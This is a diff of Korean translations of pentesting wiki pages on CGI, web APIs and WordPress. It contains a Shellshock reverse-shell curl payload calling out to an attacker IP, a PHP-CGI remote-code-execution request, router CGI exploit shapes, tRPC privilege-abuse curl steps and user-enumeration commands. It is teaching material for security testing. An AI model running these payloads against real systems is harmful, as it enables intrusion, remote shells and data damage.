Translated ['', 'src/pentesting-web/command-injection.md', 'src/network-

src/network-services-pentesting/pentesting-web/cgi.md

@@ -5,20 +5,20 @@
 
 ## 정보
 
-The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it.
-CGI vulns를 테스트하기 위해 `nikto -C all` (및 모든 플러그인) 사용을 권장한다.
+The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
+In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(및 모든 플러그인\)
 
 ## **ShellShock**
 
-**ShellShock**는 Unix 기반 운영체제에서 널리 사용되는 명령줄 쉘인 **Bash**에 영향을 미치는 **vulnerability**이다. 이 취약점은 애플리케이션이 전달한 명령을 Bash가 실행하는 능력을 겨냥한다. 취약점은 프로세스의 동작에 영향을 주는 동적 이름 값인 **environment variables**의 조작에 있다. 공격자는 여기에 **malicious code**를 붙여 변수가 전달될 때 실행되도록 하여 시스템을 침해할 수 있다.
+**ShellShock**은 Unix 계열 운영체제에서 널리 사용되는 **Bash** 명령줄 셸에 영향을 미치는 **취약점**입니다. 이 취약점은 애플리케이션이 전달한 명령을 Bash가 실행하는 기능을 목표로 합니다. 취약점은 프로세스 실행 방식에 영향을 주는 동적 이름-값인 **환경 변수(environment variables)** 조작에 있습니다. 공격자는 환경 변수에 **악성 코드**를 첨부하고, 해당 변수를 수신할 때 코드가 실행되도록 하여 이를 악용할 수 있습니다. 이를 통해 시스템을 손상시킬 가능성이 있습니다.
 
-이 취약점을 악용하면 **페이지가 오류를 발생시킬 수 있다**.
+이 취약점을 악용하면 **페이지가 에러를 발생시킬 수** 있습니다.
 
-이 취약점을 **찾을 수 있다**는 것은 **old Apache version**과 **cgi_mod** (with cgi folder)을 사용 중인지 확인하거나 **nikto**를 사용하는 것으로 알 수 있다.
+이 취약점을 찾으려면 해당 서버가 **old Apache version**과 **cgi_mod** \(with cgi folder\)을 사용하고 있는지 확인하거나 **nikto**를 사용하면 됩니다.
 
 ### **테스트**
 
-대부분의 테스트는 echo로 무언가를 출력하고 해당 문자열이 웹 응답에 반환되는지를 확인하는 방식이다. 페이지가 취약할 수 있다고 생각되면 모든 cgi pages를 찾아 테스트하라.
+대부분의 테스트는 echo 명령으로 무언가를 출력하고 그 문자열이 웹 응답에 반환되는지 확인하는 방식입니다. 특정 페이지가 취약할 수 있다고 생각되면 모든 cgi pages를 찾아 테스트하세요.
 
 **Nmap**
 ```bash
@@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
 > set rhosts 10.1.2.11
 > run
 ```
-## 중앙집중형 CGI 디스패처 (selector 매개변수를 통한 단일 엔드포인트 라우팅)
+## 중앙집중식 CGI 디스패처 (선택자 파라미터를 통한 단일 엔드포인트 라우팅)
 
-많은 임베디드 웹 UI는 단일 CGI 엔드포인트(예: `/cgi-bin/cstecgi.cgi`) 뒤에 수십 가지 권한 있는 동작을 다중화하고, `topicurl=<handler>`와 같은 selector 매개변수를 사용해 요청을 내부 함수로 라우팅합니다.
+많은 임베디드 웹 UI는 하나의 CGI 엔드포인트(예: `/cgi-bin/cstecgi.cgi`) 뒤에 수십 개의 권한 있는 동작을 멀티플렉스하고 `topicurl=<handler>` 같은 선택자 파라미터로 요청을 내부 함수로 라우팅합니다.
 
-Methodology to exploit these routers:
+이러한 라우터를 악용하는 방법론:
 
-- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
-- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
-- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
+- 핸들러(handler) 이름 열거: scrape JS/HTML, wordlists로 brute-force, 또는 firmware를 unpack하고 dispatcher에서 사용된 handler 문자열을 grep.
+- 인증 없는 접근성 테스트: 일부 handlers는 auth checks를 잊어버려 직접 호출 가능함.
+- system utilities를 호출하거나 파일을 touch 하는 handlers에 집중: 약한 validators는 종종 몇 문자만 차단하고 선행 하이픈 `-`을 놓칠 수 있음.
 
-Generic exploit shapes:
+일반적인 익스플로잇 형태:
 ```http
 POST /cgi-bin/cstecgi.cgi HTTP/1.1
 Content-Type: application/x-www-form-urlencoded
@@ -77,30 +77,30 @@ topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
 ```
 탐지 및 강화:
 
-- 중앙화된 CGI 엔드포인트로의 인증되지 않은 요청 중 `topicurl`이 민감한 handlers로 설정된 것을 주시하세요.
-- 앞에 `-`로 시작하는 파라미터를 탐지하세요 (argv option injection attempts).
-- 벤더: 모든 상태 변경 handlers에 대해 인증을 강제하고, 엄격한 allowlists/types/lengths로 검증하며, 사용자 제어 문자열을 command-line flags로 절대 전달하지 마세요.
+- 중앙화된 CGI 엔드포인트에 대해 `topicurl`이 민감한 핸들러로 설정된 인증되지 않은 요청을 주시하세요.
+- 파라미터가 `-`로 시작하는 경우 플래그 처리하세요 (argv option injection attempts).
+- 벤더: 모든 상태 변경 핸들러에 대해 인증을 강제하고, 엄격한 허용목록/타입/길이로 검증하며, 사용자 제어 문자열을 커맨드라인 플래그로 절대 전달하지 마세요.
 
-## 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
 
-기본적으로 cgi가 활성화되어 있고 php가 "구형" \(&lt;5.3.12 / &lt; 5.4.2\)인 경우 코드를 실행할 수 있습니다.
-이 취약점을 악용하려면 웹 서버의 PHP 파일에 파라미터를 보내지 않고 접근해야 합니다 \(특히 문자 "="을 보내지 않고\).
-그런 다음 이 취약점을 테스트하려면 예를 들어 `/index.php?-s` \(`-s`에 주의\)에 접근하면 **애플리케이션의 소스 코드가 응답에 나타납니다**.
+기본적으로 cgi가 활성화되어 있고 php가 "구버전" (&lt;5.3.12 / &lt; 5.4.2)일 경우 코드를 실행할 수 있습니다.
+이 취약점을 악용하려면 웹 서버의 PHP 파일에 파라미터를 전송하지 않고 접근해야 합니다(특히 '=' 문자를 보내지 않아야 합니다).
+그런 다음, 이 취약점을 테스트하려면 예를 들어 `/index.php?-s`에 접근할 수 있습니다( `-s`에 주목) 그리고 응답에 애플리케이션의 **소스 코드가 표시됩니다**.
 
-그런 다음 **RCE**를 얻기 위해서는 다음 특수 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 실행할 **PHP 코드**는 요청의 **본문**에 넣습니다.
-Example:
+그런 다음 **RCE**를 얻기 위해 다음과 같은 특수 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 실행할 **PHP 코드**는 **요청 본문(body of the request)**에 넣습니다.
+예시:
 ```bash
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
-**취약점 및 가능한 익스플로잇에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**vuln 및 가능한 exploits에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
 
 ## **Proxy \(MitM to Web server requests\)**
 
-CGI는 http request의 각 헤더마다 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다.
+CGI는 http 요청의 각 header에 대해 환경 변수(environment variable)를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다.
 
-웹 서버가 HTTP_PROXY 변수를 사용할 수 있으므로, 다음을 포함하는 **header**를 전송해 보세요: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" 그리고 세션 중 서버가 어떤 요청을 수행하면, 서버가 만든 각 요청을 캡처할 수 있습니다.
+웹 서버가 HTTP_PROXY 변수를 사용할 수 있으므로, 다음과 같은 **header**를 전송해 보세요: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". 서버가 세션 중에 어떠한 요청을 수행하면, 해당 서버가 수행하는 모든 요청을 가로챌 수 있습니다.
 
-## **참고자료**
+## **참조**
 
 - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
 

src/network-services-pentesting/pentesting-web/web-api-pentesting.md

@@ -1,55 +1,97 @@
-# 웹 API 침투 테스트
+# 웹 API Pentesting
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## API 침투 테스트 방법론 요약
+## API Pentesting 방법론 요약
 
-API 침투 테스트는 취약점을 발견하기 위한 구조화된 접근 방식을 포함합니다. 이 가이드는 실용적인 기술과 도구를 강조하는 포괄적인 방법론을 요약합니다.
+API Pentesting은 취약점을 발견하기 위한 구조화된 접근을 필요로 한다. 이 가이드는 실무 중심의 기법과 도구를 강조하는 포괄적인 방법론을 요약한다.
 
-### **API 유형 이해하기**
+### **API 유형 이해**
 
-- **SOAP/XML 웹 서비스**: 문서화에 WSDL 형식을 사용하며, 일반적으로 `?wsdl` 경로에서 찾을 수 있습니다. **SOAPUI** 및 **WSDLer** (Burp Suite 확장)와 같은 도구는 요청을 파싱하고 생성하는 데 유용합니다. 예제 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 접근할 수 있습니다.
-- **REST APIs (JSON)**: 문서는 종종 WADL 파일로 제공되지만, [Swagger UI](https://swagger.io/tools/swagger-ui/)와 같은 도구는 상호작용을 위한 보다 사용자 친화적인 인터페이스를 제공합니다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용한 도구입니다.
-- **GraphQL**: API를 위한 쿼리 언어로, API의 데이터에 대한 완전하고 이해 가능한 설명을 제공합니다.
+- **SOAP/XML Web Services**: 문서화에 WSDL 형식을 사용하며, 일반적으로 `?wsdl` 경로에서 찾을 수 있다. **SOAPUI** 및 **WSDLer**(Burp Suite Extension) 같은 도구는 요청을 파싱하고 생성하는 데 유용하다. 예시 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 확인할 수 있다.
+- **REST APIs (JSON)**: 문서는 종종 WADL 파일로 제공되지만, [Swagger UI](https://swagger.io/tools/swagger-ui/) 같은 도구가 더 친숙한 인터페이스를 제공한다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용하다.
+- **GraphQL**: API용 쿼리 언어로, API의 데이터에 대해 완전하고 이해하기 쉬운 설명을 제공한다.
 
-### **실습 실험실**
+### **실습 랩**
 
-- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP 상위 10 API 취약점을 다루는 실습을 위한 의도적으로 취약한 API입니다.
+- [**VAmPI**](https://github.com/erev0s/VAmPI): 실습을 위한 의도적으로 취약한 API로, OWASP top 10 API 취약점을 다룬다.
 
-### **API 침투 테스트를 위한 효과적인 요령**
+### **API Pentesting을 위한 효과적인 트릭**
 
-- **SOAP/XML 취약점**: XXE 취약점을 탐색하되, DTD 선언은 종종 제한됩니다. XML이 유효한 경우 CDATA 태그를 통해 페이로드 삽입이 가능할 수 있습니다.
-- **권한 상승**: 다양한 권한 수준으로 엔드포인트를 테스트하여 무단 접근 가능성을 식별합니다.
-- **CORS 잘못 구성**: 인증된 세션에서 CSRF 공격을 통한 잠재적 악용 가능성을 조사하기 위해 CORS 설정을 확인합니다.
-- **엔드포인트 발견**: API 패턴을 활용하여 숨겨진 엔드포인트를 발견합니다. 퍼저와 같은 도구를 사용하여 이 과정을 자동화할 수 있습니다.
-- **매개변수 변조**: 요청에서 매개변수를 추가하거나 교체하여 무단 데이터 또는 기능에 접근해 봅니다.
-- **HTTP 메서드 테스트**: 요청 메서드(GET, POST, PUT, DELETE, PATCH)를 변경하여 예상치 못한 동작이나 정보 유출을 발견합니다.
-- **Content-Type 조작**: 서로 다른 콘텐츠 유형(x-www-form-urlencoded, application/xml, application/json) 간에 전환하여 파싱 문제나 취약점을 테스트합니다.
-- **고급 매개변수 기술**: JSON 페이로드에서 예상치 못한 데이터 유형으로 테스트하거나 XML 데이터를 가지고 XXE 주입을 시도합니다. 또한 매개변수 오염 및 와일드카드 문자를 사용하여 더 넓은 테스트를 시도합니다.
-- **버전 테스트**: 이전 API 버전은 공격에 더 취약할 수 있습니다. 항상 여러 API 버전에 대해 확인하고 테스트합니다.
+- **SOAP/XML Vulnerabilities**: DTD 선언은 종종 제한되지만, XML이 유효하다면 CDATA 태그가 페이로드 삽입을 허용할 수 있어 XXE 취약점을 탐색해보라.
+- **Privilege Escalation**: 권한 수준이 다른 계정으로 엔드포인트를 테스트해 무단 접근 가능성을 확인하라.
+- **CORS Misconfigurations**: 인증된 세션에서 CSRF 공격을 통해 악용될 수 있는지 CORS 설정을 조사하라.
+- **Endpoint Discovery**: API 패턴을 활용해 숨겨진 엔드포인트를 찾아라. fuzzers 같은 도구가 이 과정을 자동화할 수 있다.
+- **Parameter Tampering**: 요청에 파라미터를 추가하거나 교체해 무단 데이터 또는 기능에 접근할 수 있는지 실험해보라.
+- **HTTP Method Testing**: 요청 메서드(GET, POST, PUT, DELETE, PATCH)를 변경해 예상치 못한 동작이나 정보 누출을 찾아라.
+- **Content-Type Manipulation**: 다양한 content type(x-www-form-urlencoded, application/xml, application/json)을 오가며 파싱 문제나 취약점을 테스트하라.
+- **Advanced Parameter Techniques**: JSON 페이로드에 예상치 못한 데이터 타입을 넣어보거나 XXE 주입을 위해 XML 데이터를 조작해보라. 또한 parameter pollution과 와일드카드 문자를 시도해 광범위한 테스트를 수행하라.
+- **Version Testing**: 오래된 API 버전이 더 취약할 수 있다. 항상 여러 API 버전을 확인하고 테스트하라.
 
-### **API 침투 테스트를 위한 도구 및 리소스**
+### 권한 및 비즈니스 로직 (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
 
-- [**kiterunner**](https://github.com/assetnote/kiterunner): API 엔드포인트 발견에 탁월합니다. 이를 사용하여 대상 API에 대한 경로 및 매개변수를 스캔하고 무차별 대입합니다.
+현대 TypeScript 스택은 입력 검증을 위해 tRPC와 Zod를 흔히 사용한다. tRPC에서 `protectedProcedure`는 일반적으로 요청이 유효한 세션(인증)을 가졌는지 확인하지만, 호출자가 적절한 역할/권한(인가)을 갖추었는지는 보장하지 않는다. 이 불일치는 민감한 절차가 단지 `protectedProcedure`로만 제한될 경우 Broken Function Level Authorization/BOLA로 이어질 수 있다.
+
+- Threat model: 역할 검사가 없으면 권한이 낮은 인증 사용자라도 admin-grade 절차를 호출할 수 있다(예: background migrations, feature flags, tenant-wide maintenance, job control).
+- Black-box signal: `POST /api/trpc/<router>.<procedure>` 엔드포인트가 기본 계정으로도 성공하는 경우 — 관리 전용이어야 한다. Self-serve signups는 exploitability를 크게 증가시킨다.
+- Typical tRPC route shape (v10+): JSON body가 `{"input": {...}}` 형태로 래핑된다.
+
+Example vulnerable pattern (no role/permission gate):
+```ts
+// The endpoint for retrying a migration job
+// This checks for a valid session (authentication)
+retry: protectedProcedure
+// but not for an admin role (authorization).
+.input(z.object({ name: z.string() }))
+.mutation(async ({ input, ctx }) => {
+// Logic to restart a sensitive migration
+}),
+```
+실전 exploitation (black-box)
+
+1) 일반 계정을 등록하고 인증된 세션을 획득합니다 (cookies/headers).
+2) “list”/“all”/“status” 절차를 통해 백그라운드 작업 또는 기타 민감한 리소스를 열거합니다.
+```bash
+curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
+-H 'Content-Type: application/json' \
+-b '<AUTH_COOKIES>' \
+--data '{"input":{}}'
+```
+3) 작업 재시작과 같은 권한 있는 작업을 호출:
+```bash
+curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
+-H 'Content-Type: application/json' \
+-b '<AUTH_COOKIES>' \
+--data '{"input":{"name":"<migration_name>"}}'
+```
+Impact to assess
+
+- 비멱등 재시작으로 인한 데이터 손상: 마이그레이션/워커의 동시 실행을 강제하면 경쟁 상태(race conditions)와 불일치한 부분 상태(무음 데이터 손실, 분석 결과 손상)를 초래할 수 있습니다.
+- DoS via worker/DB 고갈: 무거운 작업을 반복적으로 트리거하면 워커 풀과 데이터베이스 연결이 소진되어 테넌트 전체 장애를 일으킬 수 있습니다.
+
+### **API Pentesting을 위한 도구 및 자료**
+
+- [**kiterunner**](https://github.com/assetnote/kiterunner): API 엔드포인트 발견에 매우 유용합니다. 대상 API에 대해 경로와 파라미터를 스캔하고 brute force로 시도해 보세요.
 ```bash
 kr scan https://domain.com/api/ -w routes-large.kite -x 20
 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 ```
-- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 관련 API 엔드포인트의 약한 인증을 확인하여 **노출된 Swagger/OpenAPI 정의 파일**의 감사를 지원하도록 설계된 명령줄 도구입니다. 또한 수동 취약점 테스트를 위한 명령 템플릿을 제공합니다.
-- **automatic-api-attack-tool**, **Astra**, **restler-fuzzer**와 같은 추가 도구는 공격 시뮬레이션에서 퍼징 및 취약점 스캐닝에 이르기까지 API 보안 테스트를 위한 맞춤형 기능을 제공합니다.
-- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(이 도구는 Rust로 작성됨).
+- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 관련 API 엔드포인트의 약한 인증을 확인하여 **exposed Swagger/OpenAPI definition files**의 감사를 돕도록 설계된 명령줄 도구입니다. 또한 수동 취약점 테스트용 커맨드 템플릿을 제공합니다.
+- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning.
+- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Cherrybomb는 OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(도구는 rust로 작성됨).
 
-### **학습 및 연습 자료**
+### **학습 및 실습 자료**
 
-- **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하는 데 필수적인 읽기 자료입니다 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
-- **API Security Checklist**: API 보안을 위한 포괄적인 체크리스트입니다 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
-- **Logger++ Filters**: API 취약점을 탐색하기 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
-- **API Endpoints List**: 테스트 목적으로 사용할 수 있는 잠재적인 API 엔드포인트의 선별된 목록입니다 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
+- **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하는 데 필수 자료 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
+- **API Security Checklist**: API를 보호하기 위한 포괄적인 체크리스트 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
+- **Logger++ Filters**: API 취약점 탐색을 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
+- **API Endpoints List**: 테스트용 잠재 API 엔드포인트를 선별한 목록 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
 
-## References
+## 참고 자료
 
 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
+- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -4,49 +4,49 @@
 
 ## 기본 정보
 
-- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Uploaded** 파일은 다음 위치에 저장됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
+- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다,** 따라서 테마의 php를 변경하여 RCE를 얻으려는 경우 일반적으로 해당 경로를 사용하게 됩니다. 예: **theme twentytwelve**를 사용하면 다음에서 **404.php** 파일에 접근할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
-- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **또 다른 유용한 URL:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
-- **wp-config.php** 파일에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
-- 기본 로그인 경로(확인할 것): _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
+- `wp-config.php` 파일에서 데이터베이스 루트 비밀번호를 찾을 수 있습니다.
+- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
 
-### **주요 WordPress 파일**
+### **Main WordPress Files**
 
 - `index.php`
-- `license.txt`에는 설치된 WordPress 버전 등 유용한 정보가 포함되어 있습니다.
-- `wp-activate.php`는 새 WordPress 사이트 설정 시 이메일 활성화 과정에 사용됩니다.
-- 로그인 폴더 (숨기기 위해 이름이 변경되었을 수 있음):
+- `license.txt`에는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다.
+- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.
+- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
 - `/wp-admin/login.php`
 - `/wp-admin/wp-login.php`
 - `/login.php`
 - `/wp-login.php`
-- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용해 데이터를 전송할 수 있게 하는 WordPress 기능을 나타내는 파일입니다. 이 유형의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
-- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
-- `wp-content/uploads/` 는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
-- `wp-includes/`는 인증서, 글꼴, JavaScript 파일, 위젯 등 핵심 파일이 저장되는 디렉토리입니다.
-- `wp-sitemap.xml` WordPress 5.5 이상 버전에서는 공개 포스트와 공개적으로 쿼리 가능한 포스트 타입 및 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다.
+- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress 기능을 나타내는 파일입니다. 이러한 종류의 통신은 WordPress의 [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
+- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉터리입니다.
+- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉터리입니다.
+- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉터리입니다.
+- `wp-sitemap.xml` WordPress 5.5 이상 버전에서는 모든 공개 게시물 및 공개적으로 쿼리 가능한 포스트 타입과 분류(taxonomies)를 포함한 sitemap XML 파일을 생성합니다.
 
-**Post exploitation**
+Post exploitation
 
-- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명과 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 들어 있습니다. 이 설정 파일은 또한 문제 해결 시 유용한 DEBUG 모드를 활성화하는 데 사용할 수 있습니다.
+- `wp-config.php` 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명 및 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 또한 DEBUG 모드를 활성화하는 데 사용될 수 있으며, 문제 해결 시 유용합니다.
 
 ### 사용자 권한
 
 - **Administrator**
-- **Editor**: 자신의 및 다른 사람의 게시물을 발행하고 관리합니다
-- **Author**: 자신의 게시물을 발행하고 관리합니다
-- **Contributor**: 작성하고 자신의 게시물을 관리할 수 있으나 게시할 수는 없습니다
-- **Subscriber**: 게시물을 열람하고 프로필을 수정합니다
+- **Editor**: 게시하고 자신의 및 타인의 게시물을 관리합니다
+- **Author**: 자신의 게시물을 게시하고 관리합니다
+- **Contributor**: 게시물을 작성하고 관리할 수 있으나 게시할 수는 없습니다
+- **Subscriber**: 게시물을 열람하고 자신의 프로필을 편집할 수 있습니다
 
-## **수동 열거**
+## **Passive Enumeration**
 
 ### **WordPress 버전 확인**
 
 파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인하세요.
 
-페이지의 **소스 코드** 안에서 (예: [https://wordpress.org/support/article/pages/]):
+페이지의 **소스 코드** 안에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
 
 - grep
 ```bash
@@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 ```bash
 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
-### 일반적인 버전 추출
+### 일반적으로 버전 추출하기
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 
@@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 
 ### 플러그인 및 테마
 
-모든 플러그인 및 테마를 전부 찾을 수는 없을 것입니다. 그들을 모두 발견하려면 **actively Brute Force a list of Plugins and Themes** 해야 합니다 (운 좋게도 이러한 목록을 포함한 자동화 도구들이 있습니다).
+아마 모든 플러그인과 테마를 찾을 수는 없습니다. 모두 찾으려면 **적극적으로 Brute Force하여 플러그인 및 테마 목록을 조사해야 합니다** (운이 좋다면 이러한 목록을 포함한 자동화 도구가 있습니다).
 
 ### 사용자
 
@@ -89,25 +89,25 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 ```bash
 curl -s -I -X GET http://blog.example.com/?author=1
 ```
-응답이 **200** 또는 **30X**이면 해당 id가 **유효**합니다. 응답이 **400**이면 id가 **무효**입니다.
+응답이 **200** 또는 **30X**이면 해당 id가 **유효**하다는 의미입니다. 응답이 **400**이면 id가 **무효**입니다.
 
-- **wp-json:** 사용자 정보를 쿼리해 얻어볼 수도 있습니다:
+- **wp-json:** 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다:
 ```bash
 curl http://blog.example.com/wp-json/wp/v2/users
 ```
-사용자에 대한 일부 정보를 드러낼 수 있는 또 다른 `/wp-json/` 엔드포인트는:
+사용자에 대한 일부 정보를 노출할 수 있는 또 다른 `/wp-json/` endpoint는:
 ```bash
 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 ```
-이 엔드포인트는 게시물을 작성한 사용자만 노출합니다. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**.
+Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
 
-또한 **/wp-json/wp/v2/pages**가 IP 주소를 leak할 수 있다는 점에 유의하세요.
+또한 **/wp-json/wp/v2/pages**는 IP 주소를 leak할 수 있습니다.
 
-- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**가 **서로 다르며** **사용자명 존재 여부**를 나타냅니다.
+- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**는 지정한 **username**의 존재 여부에 따라 **다릅니다**.
 
 ### XML-RPC
 
-`xml-rpc.php`가 활성화되어 있으면 credentials brute-force를 수행하거나 이를 사용하여 다른 리소스에 DoS 공격을 실행할 수 있습니다. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
